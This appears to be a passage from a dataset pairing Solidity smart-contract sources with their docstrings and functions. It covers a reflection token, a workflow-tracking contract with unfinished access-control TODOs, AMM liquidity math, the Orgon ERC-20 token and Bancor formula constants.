./full_match/80001/0xb16DB4B92bc4226b4944Ccfce800F2dA433e0244/sources/contracts/b1.sol
uire(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude Pancake router.');
function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); }
860,221
//SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; contract WorkflowEngine { // ToDo: Can add indexes on up to three of these fields // event ItemCreated(uint256 id, string itemType, string team, string status, bool checkedOut, address createUser, uint256 createTimestamp); event ItemCreated( uint256 id, address itemType, string team, string status, bool checkedOut, address createUser, uint256 createTimestamp ); // Still considering an ItemUpdated event vs a ItemCheckIn & ItemChekOut event. // event ItemUpdated(uint256 id, string itemType, string team, string status, bool checkedOut, address createUser, uint256 createTimestamp); event ItemUpdated( uint256 id, address itemType, string team, string status, bool checkedOut, address createUser, uint256 createTimestamp ); struct WorkItem { uint256 id; string itemType; address itemTypeAddr; string team; string status; bool checkedOut; address checkedOutBy; // Good for Granularity, may not be needed //uint activeStep; // FromE address createUser; address updateUser; uint256 createTimestamp; uint256 updateTimestamp; } // Should not be public, need to lock down access WorkItem[] public workItems; address admin; mapping(address => string) public contractAddressToFlowName; mapping(string => address) public flowNameToContractAddress; // TODO: allow an address to be part of more than one team mapping(address => string) public addressToTeam; // TODO: teams // mapping(string => address[]) public teamToAddresses; mapping(address => string) public addressToTwitterId; mapping(string => address) public twitterIdToAddress; constructor() { admin = msg.sender; } function register(address contractAddr, string memory flowName) public { require(msg.sender == admin, "Only Admin Can Register a Contract."); contractAddressToFlowName[contractAddr] = flowName; flowNameToContractAddress[flowName] = contractAddr; } function createNewItem( string memory flowName, string memory team, string memory status ) external returns (uint256) { require( flowNameToContractAddress[flowName] == msg.sender, "Can only be called by Contract Owner." ); WorkItem memory item; item.id = workItems.length; item.itemType = flowName; item.itemTypeAddr = msg.sender; item.team = team; item.status = status; item.checkedOut = false; item.createUser = msg.sender; item.createTimestamp = block.timestamp; workItems.push(item); emit ItemCreated( item.id, item.itemTypeAddr, item.team, item.status, item.checkedOut, item.createUser, item.createTimestamp ); return item.id; } function getItems() public view returns (WorkItem[] memory) { return workItems; } function getItem(uint256 itemNum) public view returns (WorkItem memory) { require(workItems.length > itemNum, "This workitem does not exist"); return workItems[itemNum]; } function setItem(uint256 itemNum, WorkItem memory item) public { require(workItems.length > itemNum, "This workitem does not exist"); workItems[itemNum] = item; } function checkOut(uint256 itemNum, address userAddr) public { require(workItems.length > itemNum, "This workitem does not exist"); require( msg.sender == workItems[itemNum].itemTypeAddr, "This workitem is not owned by this flow." ); require( !workItems[itemNum].checkedOut, "This workitem is already checked out" ); workItems[itemNum].checkedOut = true; workItems[itemNum].checkedOutBy = userAddr; // Good for granularity, may not be needed workItems[itemNum].updateUser = userAddr; workItems[itemNum].updateTimestamp = block.timestamp; // emit ItemUpdated(workItems[itemNum].id, workItems[itemNum].itemTypeAddr, workItems[itemNum].team, workItems[itemNum].status, workItems[itemNum].checkedOut, workItems[itemNum].createUser, workItems[itemNum].createTimestamp); } function checkIn(uint256 itemNum, address userAddr) public { require(workItems.length > itemNum, "This workitem does not exist"); require( workItems[itemNum].checkedOut, "This workitem is not checked out" ); require( msg.sender == workItems[itemNum].itemTypeAddr, "This workitem is not owned by this flow." ); require( workItems[itemNum].checkedOutBy == userAddr, "This workitem is not checked out to you" ); workItems[itemNum].checkedOut = false; workItems[itemNum].updateUser = userAddr; workItems[itemNum].updateTimestamp = block.timestamp; workItems[itemNum].checkedOutBy = address(0); // Good for granularity, may not be needed // emit ItemUpdated(workItems[itemNum].id, workItems[itemNum].itemTypeAddr, workItems[itemNum].team, workItems[itemNum].status, workItems[itemNum].checkedOut, workItems[itemNum].createUser, workItems[itemNum].createTimestamp); } function getOpenItems() public view returns (WorkItem[] memory) { WorkItem[] memory openItems = new WorkItem[](workItems.length); string memory bb = "Complete"; uint256 oiIdx = 0; for (uint256 i = 0; i < workItems.length; i++) { if (!strcmp(workItems[i].status, bb)) { openItems[oiIdx] = workItems[i]; oiIdx++; } } return openItems; } function getOpenItemsByTeam(string memory _team) public view returns (WorkItem[] memory) { WorkItem[] memory openItems = new WorkItem[](workItems.length); string memory bb = "Complete"; string memory cc = "Cancelled"; uint256 oiIdx = 0; for (uint256 i = 0; i < workItems.length; i++) { if ( !(strcmp(workItems[i].status, bb) || strcmp(workItems[i].status, cc)) ) { if (strcmp(workItems[i].team, _team)) { openItems[oiIdx] = workItems[i]; oiIdx++; } } } return openItems; } function setTeam(string memory _team) public { // TODO: only allow an admin or approved team member to call this function addressToTeam[msg.sender] = _team; } function setTeamById(address userAddr, string memory _team) external { // require( // msg.sender == flowNameToContractAddress["AddUser"], // "Only the AddUser contract may update social ids." // ); addressToTeam[userAddr] = _team; } function getTeam() public view returns (string memory) { return addressToTeam[msg.sender]; } function setTwitterId(address userAddr, string memory _twitterId) public { // TODO: restrict execution to AddUserFlowContract // require( // msg.sender == flowNameToContractAddress["AddUser"], // "Only the AddUser contract may update social ids." // ); addressToTwitterId[userAddr] = _twitterId; twitterIdToAddress[_twitterId] = userAddr; } function getTwitterIdFromAddress(address userAddr) public view returns (string memory) { return addressToTwitterId[userAddr]; } function getAddressFromTwitterId(string memory _twitterId) public view returns (address) { return twitterIdToAddress[_twitterId]; } function strcmp(string memory a, string memory b) internal pure returns (bool) { return memcmp(bytes(a), bytes(b)); } function memcmp(bytes memory a, bytes memory b) internal pure returns (bool) { return (a.length == b.length) && (keccak256(a) == keccak256(b)); } }
emit ItemUpdated(workItems[itemNum].id, workItems[itemNum].itemTypeAddr, workItems[itemNum].team, workItems[itemNum].status, workItems[itemNum].checkedOut, workItems[itemNum].createUser, workItems[itemNum].createTimestamp);
function checkOut(uint256 itemNum, address userAddr) public { require(workItems.length > itemNum, "This workitem does not exist"); require( msg.sender == workItems[itemNum].itemTypeAddr, "This workitem is not owned by this flow." ); require( !workItems[itemNum].checkedOut, "This workitem is already checked out" ); workItems[itemNum].checkedOut = true; workItems[itemNum].updateUser = userAddr; workItems[itemNum].updateTimestamp = block.timestamp; }
1,069,525
pragma solidity ^0.5.16; import "./SafeMath.sol"; library ZirconLibrary { using SafeMath for uint256; uint public constant MINIMUM_LIQUIDITY = 10**3; // Same Function as Uniswap Library, used here for incompatible solidity versions function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // TODO: check getAmountsOut function of v2 library, they use a slightly different formula // This function takes two variables and look at the maximum possible with the ration given by the reserves // @pR0, @pR1 the pair reserves // @b0, @b1 the balances to calculate function _getMaximum(uint _reserve0, uint _reserve1, uint _b0, uint _b1) pure internal returns (uint maxX, uint maxY) { //Expresses b1 in units of reserve0 uint px = _reserve0.mul(_b1)/_reserve1; if (px > _b0) { maxX = _b0; maxY = _b0.mul(_reserve1)/_reserve0; //b0 in units of reserve1 } else { maxX = px; //max is b1 but in reserve0 units maxY = _b1; } } // This function converts amount, specifing which tranch with @isAnchor, to pool token share // @_amount is the quantity to convert // @_totalSupply is the supply of the pt's tranch // @reserve0, @_gamma, @vab are the variables needed to the calculation of the amount function calculatePTU(bool _isAnchor, uint _amount, uint _totalSupply, uint _reserve0, uint _reservePylon0, uint _gamma, uint _vab) pure internal returns (uint liquidity){ if (_isAnchor) { // TODO: Check the MINIMUM LIQUIDITY SUBSTRACTION liquidity = (_amount.mul(_totalSupply == 0 ? 1e18 : _totalSupply.mul(1e18)/_vab)/1e18) .sub(_totalSupply == 0 ? MINIMUM_LIQUIDITY : 0); }else { // TODO: Check the MINIMUM LIQUIDITY SUBSTRACTION uint numerator = _totalSupply == 0 ? _amount.mul(1e18) : _amount.mul(_totalSupply); uint resTranslated = _reserve0.mul(_gamma).mul(2)/1e18; uint denominator = _totalSupply == 0 ? _gamma.mul(2) : (_reservePylon0.add(resTranslated)); liquidity = (numerator/denominator).sub(_totalSupply == 0 ? MINIMUM_LIQUIDITY : 0); } } // This function converts pool token share, specifing which tranch with @isAnchor, to token amount // @_ptuAmount is the quantity to convert // @_totalSupply is the supply of the pt of the tranch // @reserve0, @_gamma, @vab are the variables needed to the calculation of the amount function calculatePTUToAmount(bool _isAnchor, uint _ptuAmount, uint _totalSupply, uint _reserve0, uint _reservePylon0, uint _gamma, uint _vab) pure internal returns (uint amount) { if (_isAnchor) { amount = _vab.mul(_ptuAmount)/_totalSupply; } else { amount = (((_reserve0.mul(_gamma).mul(2)/1e18).add(_reservePylon0)).mul(_ptuAmount))/_totalSupply; } } function slashLiabilityOmega(uint tpvAnchorTranslated, uint anchorReserve, uint gammaMulDecimals, uint virtualAnchorBalance) pure internal returns (uint omegaMulDecimals) { //Omega is the "survival factor" i.e how much of the anchor balance survives slashing and can be withdrawn. //It's applied to the user's liquidity tokens to avoid changing other core functions. //This adjustment is only used for share calculations, the full amount of tokens is removed. omegaMulDecimals = ((1e18 - gammaMulDecimals).mul(tpvAnchorTranslated))/(virtualAnchorBalance.sub(anchorReserve)); } }
This function converts amount, specifing which tranch with @isAnchor, to pool token share @_amount is the quantity to convert @_totalSupply is the supply of the pt's tranch @reserve0, @_gamma, @vab are the variables needed to the calculation of the amount TODO: Check the MINIMUM LIQUIDITY SUBSTRACTION TODO: Check the MINIMUM LIQUIDITY SUBSTRACTION
function calculatePTU(bool _isAnchor, uint _amount, uint _totalSupply, uint _reserve0, uint _reservePylon0, uint _gamma, uint _vab) pure internal returns (uint liquidity){ if (_isAnchor) { liquidity = (_amount.mul(_totalSupply == 0 ? 1e18 : _totalSupply.mul(1e18)/_vab)/1e18) .sub(_totalSupply == 0 ? MINIMUM_LIQUIDITY : 0); uint numerator = _totalSupply == 0 ? _amount.mul(1e18) : _amount.mul(_totalSupply); uint resTranslated = _reserve0.mul(_gamma).mul(2)/1e18; uint denominator = _totalSupply == 0 ? _gamma.mul(2) : (_reservePylon0.add(resTranslated)); liquidity = (numerator/denominator).sub(_totalSupply == 0 ? MINIMUM_LIQUIDITY : 0); } }
7,312,686
/* * EIP-20 Standard Token Smart Contract Interface. * Copyright © 2016–2018 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.4.20; /** * ERC-20 standard token interface, as defined * <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md">here</a>. */ contract Token { /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () public view returns (uint256 supply); /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf (address _owner) public view returns (uint256 balance); /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) public returns (bool success); /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) public returns (bool success); /** * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success); /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance (address _owner, address _spender) public view returns (uint256 remaining); /** * Logged when tokens were transferred from one owner to another. * * @param _from address of the owner, tokens were transferred from * @param _to address of the owner, tokens were transferred to * @param _value number of tokens transferred */ event Transfer (address indexed _from, address indexed _to, uint256 _value); /** * Logged when owner approved his tokens to be transferred by some spender. * * @param _owner owner who approved his tokens to be transferred * @param _spender spender who were allowed to transfer the tokens belonging * to the owner * @param _value number of tokens belonging to the owner, approved to be * transferred by the spender */ event Approval ( address indexed _owner, address indexed _spender, uint256 _value); } /** * Provides methods to safely add, subtract and multiply uint256 numbers. */ contract SafeMath { uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Add two uint256 values, throw in case of overflow. * * @param x first value to add * @param y second value to add * @return x + y */ function safeAdd (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x <= MAX_UINT256 - y); return x + y; } /** * Subtract one uint256 value from another, throw in case of underflow. * * @param x value to subtract from * @param y value to subtract * @return x - y */ function safeSub (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x >= y); return x - y; } /** * Multiply two uint256 values, throw in case of overflow. * * @param x first value to multiply * @param y second value to multiply * @return x * y */ function safeMul (uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; // Prevent division by zero at the next line assert (x <= MAX_UINT256 / y); return x * y; } } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () public { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf (address _owner) public view returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) public returns (bool success) { uint256 fromBalance = accounts [msg.sender]; if (fromBalance < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (fromBalance, _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) public returns (bool success) { uint256 spenderAllowance = allowances [_from][msg.sender]; if (spenderAllowance < _value) return false; uint256 fromBalance = accounts [_from]; if (fromBalance < _value) return false; allowances [_from][msg.sender] = safeSub (spenderAllowance, _value); if (_value > 0 && _from != _to) { accounts [_from] = safeSub (fromBalance, _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance (address _owner, address _spender) public view returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) internal accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) internal allowances; } /** * Orgon Token smart contract. */ contract OrgonToken is AbstractToken { /** * Maximum allowed number of tokens in circulation (2^256 - 1). */ uint256 constant MAX_TOKEN_COUNT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Deploy Orgon Token smart contract and make message sender to be the owner * of the smart contract. */ function OrgonToken () public { owner = msg.sender; } /** * Get name of this token. * * @return name of this token */ function name () public pure returns (string) { return "Orgon"; } /** * Get symbol of this token. * * @return symbol of this token */ function symbol () public pure returns (string) { return "ORGN"; } /** * Get number of decimals for this token. * * @return number of decimals for this token */ function decimals () public pure returns (uint8) { return 9; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () public view returns (uint256 supply) { return tokenCount; } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens (uint256 _value) public returns (bool) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); Transfer (address (0), msg.sender, _value); } return true; } /** * Burn given number of tokens belonging to message sender. * May only be called by smart contract owner. * * @param _value number of tokens to burn * @return true on success, false on error */ function burnTokens (uint256 _value) public returns (bool) { require (msg.sender == owner); if (_value > accounts [msg.sender]) return false; else if (_value > 0) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); tokenCount = safeSub (tokenCount, _value); Transfer (msg.sender, address (0), _value); return true; } else return true; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner (address _newOwner) public { require (msg.sender == owner); owner = _newOwner; } /** * Total number of tokens in circulation. */ uint256 internal tokenCount; /** * Owner of the smart contract. */ address public owner; }
Get number of decimals for this token. return number of decimals for this token/
function decimals () public pure returns (uint8) { return 9; }
11,795,938
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./interfaces/IBancorFormula.sol"; import "../utility/SafeMath.sol"; contract BancorFormula is IBancorFormula { using SafeMath for uint256; uint256 private constant ONE = 1; uint32 private constant MAX_WEIGHT = 1000000; uint8 private constant MIN_PRECISION = 32; uint8 private constant MAX_PRECISION = 127; // Auto-generated via 'PrintIntScalingFactors.py' uint256 private constant FIXED_1 = 0x080000000000000000000000000000000; uint256 private constant FIXED_2 = 0x100000000000000000000000000000000; uint256 private constant MAX_NUM = 0x200000000000000000000000000000000; // Auto-generated via 'PrintLn2ScalingFactors.py' uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8; uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80; // Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py' uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3; uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000; // Auto-generated via 'PrintLambertFactors.py' uint256 private constant LAMBERT_CONV_RADIUS = 0x002f16ac6c59de6f8d5d6f63c1482a7c86; uint256 private constant LAMBERT_POS2_SAMPLE = 0x0003060c183060c183060c183060c18306; uint256 private constant LAMBERT_POS2_MAXVAL = 0x01af16ac6c59de6f8d5d6f63c1482a7c80; uint256 private constant LAMBERT_POS3_MAXVAL = 0x6b22d43e72c326539cceeef8bb48f255ff; // Auto-generated via 'PrintWeightFactors.py' uint256 private constant MAX_UNF_WEIGHT = 0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9; // Auto-generated via 'PrintMaxExpArray.py' uint256[128] private maxExpArray; function initMaxExpArray() private { // maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff; // maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff; // maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff; // maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff; // maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff; // maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff; // maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff; // maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff; // maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff; // maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff; // maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff; // maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff; // maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff; // maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff; // maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff; // maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff; // maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff; // maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff; // maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff; // maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff; // maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff; // maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff; // maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff; // maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff; // maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff; // maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff; // maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff; // maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff; // maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff; // maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff; // maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff; // maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff; maxExpArray[ 32] = 0x1c35fedd14ffffffffffffffffffffffff; maxExpArray[ 33] = 0x1b0ce43b323fffffffffffffffffffffff; maxExpArray[ 34] = 0x19f0028ec1ffffffffffffffffffffffff; maxExpArray[ 35] = 0x18ded91f0e7fffffffffffffffffffffff; maxExpArray[ 36] = 0x17d8ec7f0417ffffffffffffffffffffff; maxExpArray[ 37] = 0x16ddc6556cdbffffffffffffffffffffff; maxExpArray[ 38] = 0x15ecf52776a1ffffffffffffffffffffff; maxExpArray[ 39] = 0x15060c256cb2ffffffffffffffffffffff; maxExpArray[ 40] = 0x1428a2f98d72ffffffffffffffffffffff; maxExpArray[ 41] = 0x13545598e5c23fffffffffffffffffffff; maxExpArray[ 42] = 0x1288c4161ce1dfffffffffffffffffffff; maxExpArray[ 43] = 0x11c592761c666fffffffffffffffffffff; maxExpArray[ 44] = 0x110a688680a757ffffffffffffffffffff; maxExpArray[ 45] = 0x1056f1b5bedf77ffffffffffffffffffff; maxExpArray[ 46] = 0x0faadceceeff8bffffffffffffffffffff; maxExpArray[ 47] = 0x0f05dc6b27edadffffffffffffffffffff; maxExpArray[ 48] = 0x0e67a5a25da4107fffffffffffffffffff; maxExpArray[ 49] = 0x0dcff115b14eedffffffffffffffffffff; maxExpArray[ 50] = 0x0d3e7a392431239fffffffffffffffffff; maxExpArray[ 51] = 0x0cb2ff529eb71e4fffffffffffffffffff; maxExpArray[ 52] = 0x0c2d415c3db974afffffffffffffffffff; maxExpArray[ 53] = 0x0bad03e7d883f69bffffffffffffffffff; maxExpArray[ 54] = 0x0b320d03b2c343d5ffffffffffffffffff; maxExpArray[ 55] = 0x0abc25204e02828dffffffffffffffffff; maxExpArray[ 56] = 0x0a4b16f74ee4bb207fffffffffffffffff; maxExpArray[ 57] = 0x09deaf736ac1f569ffffffffffffffffff; maxExpArray[ 58] = 0x0976bd9952c7aa957fffffffffffffffff; maxExpArray[ 59] = 0x09131271922eaa606fffffffffffffffff; maxExpArray[ 60] = 0x08b380f3558668c46fffffffffffffffff; maxExpArray[ 61] = 0x0857ddf0117efa215bffffffffffffffff; maxExpArray[ 62] = 0x07ffffffffffffffffffffffffffffffff; maxExpArray[ 63] = 0x07abbf6f6abb9d087fffffffffffffffff; maxExpArray[ 64] = 0x075af62cbac95f7dfa7fffffffffffffff; maxExpArray[ 65] = 0x070d7fb7452e187ac13fffffffffffffff; maxExpArray[ 66] = 0x06c3390ecc8af379295fffffffffffffff; maxExpArray[ 67] = 0x067c00a3b07ffc01fd6fffffffffffffff; maxExpArray[ 68] = 0x0637b647c39cbb9d3d27ffffffffffffff; maxExpArray[ 69] = 0x05f63b1fc104dbd39587ffffffffffffff; maxExpArray[ 70] = 0x05b771955b36e12f7235ffffffffffffff; maxExpArray[ 71] = 0x057b3d49dda84556d6f6ffffffffffffff; maxExpArray[ 72] = 0x054183095b2c8ececf30ffffffffffffff; maxExpArray[ 73] = 0x050a28be635ca2b888f77fffffffffffff; maxExpArray[ 74] = 0x04d5156639708c9db33c3fffffffffffff; maxExpArray[ 75] = 0x04a23105873875bd52dfdfffffffffffff; maxExpArray[ 76] = 0x0471649d87199aa990756fffffffffffff; maxExpArray[ 77] = 0x04429a21a029d4c1457cfbffffffffffff; maxExpArray[ 78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff; maxExpArray[ 79] = 0x03eab73b3bbfe282243ce1ffffffffffff; maxExpArray[ 80] = 0x03c1771ac9fb6b4c18e229ffffffffffff; maxExpArray[ 81] = 0x0399e96897690418f785257fffffffffff; maxExpArray[ 82] = 0x0373fc456c53bb779bf0ea9fffffffffff; maxExpArray[ 83] = 0x034f9e8e490c48e67e6ab8bfffffffffff; maxExpArray[ 84] = 0x032cbfd4a7adc790560b3337ffffffffff; maxExpArray[ 85] = 0x030b50570f6e5d2acca94613ffffffffff; maxExpArray[ 86] = 0x02eb40f9f620fda6b56c2861ffffffffff; maxExpArray[ 87] = 0x02cc8340ecb0d0f520a6af58ffffffffff; maxExpArray[ 88] = 0x02af09481380a0a35cf1ba02ffffffffff; maxExpArray[ 89] = 0x0292c5bdd3b92ec810287b1b3fffffffff; maxExpArray[ 90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff; maxExpArray[ 91] = 0x025daf6654b1eaa55fd64df5efffffffff; maxExpArray[ 92] = 0x0244c49c648baa98192dce88b7ffffffff; maxExpArray[ 93] = 0x022ce03cd5619a311b2471268bffffffff; maxExpArray[ 94] = 0x0215f77c045fbe885654a44a0fffffffff; maxExpArray[ 95] = 0x01ffffffffffffffffffffffffffffffff; maxExpArray[ 96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff; maxExpArray[ 97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff; maxExpArray[ 98] = 0x01c35fedd14b861eb0443f7f133fffffff; maxExpArray[ 99] = 0x01b0ce43b322bcde4a56e8ada5afffffff; maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff; maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff; maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff; maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff; maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff; maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff; maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff; maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff; maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff; maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff; maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff; maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff; maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff; maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff; maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff; maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff; maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff; maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff; maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff; maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff; maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff; maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf; maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df; maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f; maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037; maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf; maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9; maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6; } // Auto-generated via 'PrintLambertArray.py' uint256[128] private lambertArray; function initLambertArray() private { lambertArray[ 0] = 0x60e393c68d20b1bd09deaabc0373b9c5; lambertArray[ 1] = 0x5f8f46e4854120989ed94719fb4c2011; lambertArray[ 2] = 0x5e479ebb9129fb1b7e72a648f992b606; lambertArray[ 3] = 0x5d0bd23fe42dfedde2e9586be12b85fe; lambertArray[ 4] = 0x5bdb29ddee979308ddfca81aeeb8095a; lambertArray[ 5] = 0x5ab4fd8a260d2c7e2c0d2afcf0009dad; lambertArray[ 6] = 0x5998b31359a55d48724c65cf09001221; lambertArray[ 7] = 0x5885bcad2b322dfc43e8860f9c018cf5; lambertArray[ 8] = 0x577b97aa1fe222bb452fdf111b1f0be2; lambertArray[ 9] = 0x5679cb5e3575632e5baa27e2b949f704; lambertArray[ 10] = 0x557fe8241b3a31c83c732f1cdff4a1c5; lambertArray[ 11] = 